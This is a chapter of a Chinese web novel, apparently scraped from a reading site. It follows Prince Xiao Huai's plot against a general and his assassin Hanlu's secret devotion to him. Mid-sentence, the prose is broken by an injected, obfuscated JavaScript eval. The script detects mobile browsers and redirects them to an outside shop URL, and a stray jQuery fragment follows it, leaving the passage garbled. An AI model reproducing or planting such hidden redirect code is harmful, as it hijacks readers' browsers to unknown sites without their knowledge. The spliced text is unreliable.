6. 第 6 章
    深夜,汝阳王府。

    书房内烛火跃动,青竹折屏上映着两人身影。

    “兵部收到前方战报,匈奴不断进犯,边关怕是守不住了,不过一月,圣上必要提起派兵之事,殿下,若我们没有动作,此次势必会由太尉吴元亮领兵,若太尉得胜回来,太子更难撼动。”

    屋内,一男子身披夜行斗篷,拱手站于桌前,虽话声平稳,但里面带着掩饰不住的焦急之意,似火烧眉毛了般。

    书案后的萧淮却面色不变,只薄唇牵出一极轻的弧度,垂眸看着手心的发簪。

    “匈奴我打了两年,收复边关五州,吴元亮接手兵权后,不过三月,五州已失三州,就连北境一带的防线都要守不住了……”萧淮轻描淡写,指腹缓缓抚过长簪上头的红玉,冷冷笑道,“匈奴强悍好战,就凭吴元亮这个酒囊饭袋,你认为会有得胜可能么。”

    男子似乎松了口气,擦了擦冷汗,心中更觉憾然。

    当初他们在边关浴血奋战收复的州城,不过三月,便被朝中之人拱手送出。

    “不过这兵权是该收回来了……”发簪尖端忽然划破指腹,嫣红血珠自指腹流出,萧淮微微阖眼,不知是想到了什么,忽就把簪子往桌上一扔。

    金玉打造的簪子发出悦耳声响,宣纸上划开一道突兀的血色,看去颇为触目惊心。

    男子显然不知他家主子今日为何总是把玩这发簪,又为何扔到桌上。

    但他一瞥萧淮此刻一身凛然,压迫横生的样子,胸腔似是被千斤巨压着,立即半跪在地,脊背发寒。

    萧淮的侧脸映着中空月色,无端显出几分森冷意味,他盯着染血的簪子半晌,忽然愉悦笑了,悠悠道:“也好,便拿他的脑袋试刀了。”

    “试刀?”男子不明所以,却不敢多问,只等候面前男人命令。

    “吴元亮必死,你莫要轻举妄动,只当顺势而为,本王自会安排一切。”

    男子听此称是,领命退下,消失于暗处。

    萧淮起身,将桌上发簪收于长袖,踏着月色,去了西院。

    -

    西院是寒露所在的院子。

    她趴在窗台,对着月色看青枫送她的发簪,月光穿透玉簪落在她瞳孔,她忽然眼睛生痛,将玉簪插至发间。

    她通过试炼,活了下来,成了无风楼真正的暗卫。

    但青枫呢。

    青枫死了。

    尸体也不知抛在了哪,她第二日去看时,已经不见了。

    只留下被水冲洗过的淡淡血迹。

    青枫说,让她去外面看看,可外面是哪里?

    寒露不知道。

    她双亲尽亡,自被萧淮带回汝阳王府后,他便是她的一切。

    她像个木偶傀儡般地做着他想让她做的事,不过是想从他这得来一点依赖和夸赞,想还他的恩情,然后,回沧州看她爹娘,去找匈奴。

    外面的世界……好看吗,好玩吗。

    若有一日,恩情还完,若有一日,她成了废物,公子要抛弃她的话……

    不……

    这个念头刚起,便被近乎于融入她血肉的本能和情思压了下去。

    不,她不是废物,公子不会抛下她的。

    在这世上,她只有公子了。

    只要她听话,只要她努力训练,完成任务,公子便不会抛下她吧……

    会喜爱她吧……

    不知不觉里,少女情思悄然滋生爱欲,也生出她一腔不知死活的孤勇。

    她喜欢公子。

    很喜欢的那种。

    若有一日要她离开公子,对她而言,便是无异于剥皮抽筋。

    她受不了的。

    一阵恐惧莫名袭来,心脏蓦地抽痛起来,寒露骤然起身,椅子发出尖锐声响,她猛地掀开珠帘哗啦哗啦,跑到床榻前趴下,费劲地伸出手,将木匣从床底拿出。

    如以往很多次害怕时一样,她打开木匣,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14281855|151864||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    将木匣里的东西统统倒了出来。

    就连她自己都没发觉,当她将这些属于萧淮的东西紧紧搂在怀里时,脸上已落满了泪,却隐忍的没有发出一点哭声。

    她极少哭,她害怕又恐惧,抱着这些东西无声流泪的样子,好似回到了,回到了她爹娘去世的那天……

    萧淮便是这个时候到了她房间,他掀开珠帘,便看到了这一切。

    看到了趴在地上无声落泪的少女,看到她桃花面容上沾了露水,潮湿的长睫颤颤巍巍的,如蝶翅般上下飞舞,将她眼睑也染上一点水色。

    此时此刻,少女的脆弱是如此明显,窗外的月色透进映在她身,便像一触即碎的玉瓷器。

    这是本不该出现在刺客身上的脆弱。

    显然,他并不满意这般姿态的她。

    男人脚步停下,垂眸而视,长睫在他脸上投下细碎光影,将他眸色掩得晦暗不明。

    目光自她眼尾缓缓下移,自脸颊,自唇瓣,自下颌,到她纤细莹白的脖颈,再到她玲珑起伏的雪软,萧淮倒是薄唇轻勾,轻笑了声,一双桃花眼如蒙山间雾霭,叫人看不真切。

    他面上也没有什么情绪,更看不出一丝疼惜和怜爱,当真在居高临下地审视一枚棋子,一把刀,在审视……他培养的工具。

    而当他目光下移,看到少女怀里死死抱着的东西时,男人冶艳眉目闪过一丝异色,就像是无暇美玉生了一道缝隙,极轻的一声,缝隙扩大蔓延,便是玉碎之时。

    “露儿,本王倒是不知道,你如此的胆大包天。”

    男人的声音柔和低缓,似清泉汩汩淌过,甚至还勾着一丝似有若无的笑意,初听几令人神昏意乱,但此时此刻落在寒露耳边,却无异于惊雷乍起。

    哐当一声,怀里抱着的物什落了一地。

    用红绳绑着的半截乌发,腰带,发带,有了裂痕的玉佩,剑穗,禁步,等等……

    这些……毫无遮掩地摊开在男人面前。